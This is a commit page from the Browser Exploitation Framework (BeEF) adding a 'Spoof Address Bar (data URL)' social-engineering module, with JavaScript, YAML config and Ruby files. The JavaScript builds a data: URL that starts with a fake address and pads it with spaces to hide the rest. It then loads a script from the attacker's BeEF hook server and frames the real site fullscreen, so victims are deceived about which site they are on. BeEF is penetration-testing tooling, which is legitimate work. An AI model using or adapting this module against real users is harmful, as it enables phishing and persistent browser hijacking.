Add 'Spoof Address Bar (data URL)' module
This commit is contained in:
19
modules/social_engineering/spoof_addressbar_data/command.js
Normal file
19
modules/social_engineering/spoof_addressbar_data/command.js
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook;
|
||||
|
||||
try {
|
||||
window.location = "data:text/html,<%= @spoofed_url %><%= ' '*1337 %>?<script src='"+hook+"'></script><script>document.title='<%= @spoofed_url %>';beef.dom.createIframe('fullscreen',{'src':'<%= @real_url %>'},{},null);</script>"
|
||||
beef.debug("[Spoof Address Bar (data)] Redirecting to data URL...");
|
||||
} catch (e) {
|
||||
beef.debug("[Spoof Address Bar (data)] could not redirect: "+e.message)
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.are.status_error());
|
||||
}
|
||||
|
||||
});
|
||||
16
modules/social_engineering/spoof_addressbar_data/config.yaml
Normal file
16
modules/social_engineering/spoof_addressbar_data/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
spoof_addressbar_data:
|
||||
enable: true
|
||||
category: "Social Engineering"
|
||||
name: "Spoof Address Bar (data URL)"
|
||||
description: "This module redirects the browser to a legitimate looking URL with a ''data'' scheme, such as ''data:text/html,http://victim.com'', with a BeEF hook and a user-specified URL in a 100% x 100% iframe."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
user_notify: ["O", "FF", "C"]
|
||||
not_working: ["IE"]
|
||||
18
modules/social_engineering/spoof_addressbar_data/module.rb
Normal file
18
modules/social_engineering/spoof_addressbar_data/module.rb
Normal file
@@ -0,0 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Spoof_addressbar_data < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
[
|
||||
{'name' => 'spoofed_url', 'ui_label' => 'Spoofed URL', 'type' => 'text', 'value' => 'https://example.com/'},
|
||||
{'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'https://example.com/'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user